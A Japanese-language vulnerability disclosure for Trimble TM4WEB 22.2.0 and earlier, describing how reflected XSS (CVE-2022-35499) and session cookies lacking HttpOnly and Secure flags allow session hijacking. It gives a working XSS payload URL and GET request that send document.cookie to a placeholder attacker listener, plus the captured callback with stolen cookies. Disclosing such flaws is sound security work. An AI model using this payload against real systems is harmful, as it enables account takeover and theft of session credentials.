Trimble の TM4WEB <=22.2.0 では、セッション識別子に関するセキュリティ設定の誤りにより、外部ドキュメントビューアのエンドポイントに影響を与える反射型クロスサイトスクリプティングを介して、有効なセッションCookieを復元することが可能です。
具体的には、セッション維持に使用される3つのCookieは UID、rstring、PHPSESSIONID であり、いずれもJavaScript実行ベクターからの復元を防ぐための適切な HttpOnly フラグが設定されていません。
ステップ 1 :
攻撃者は、反射型クロスサイトスクリプティングの脆弱性 CVE-2022-35499 を悪用して、認証済み被害者のセッションCookieを取得します。
攻撃者は、HTTPリクエストを受信できるインターネットに公開されたサーバーの任意のポートでリスナーを起動します。これは requestbin のようなサービスを使用するか、任意のポートで netcat リスナーを起動するだけで実現できます。
このURL例は、参照されているXSS CVE-2022-35499 を利用して、認証済みユーザーに対するセッションハイジャック攻撃を実行し、被害者のセッションCookieを攻撃者制御のサーバーに送信します。
(この例では、私たちのIPアドレスの代わりに x.x.x.x と表記) ポート 13337
存在しないサイトを使用した悪意のあるURLの例:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
この脆弱性が成立するのは、セッション識別子がこの種の攻撃に対して適切に保護されていないためです。
セッション維持に使用される3つのCookieは次のとおりです。
UID
rstring
PHPSESSIONID
これらのCookieはいずれも HttpOnly フラグが設定されていません。この設定オプションは、Cookieの値がJavaScriptコンテキストからアクセスされるのを防ぎます。
同様に、これらのCookieには SECURE フラグも有効にする必要があります。これにより、暗号化されていないチャネルを介した送信が防止されます。
攻撃の実行に使用される悪意のあるGETリクエストを以下に示します。攻撃者サーバーのIPは省略され、x.x.x.x に置き換えられています。
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
攻撃者がサーバー上で受信する結果のコールバックリクエストを以下に示します。被害者のセッションCookieが ?c パラメータに付加されていることがわかります。
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
影響 : 認証済みユーザーは、認証されていない攻撃位置から反射型XSS脆弱性を悪用する攻撃者によって、セッションおよびユーザーアカウントを乗っ取られる可能性があります。
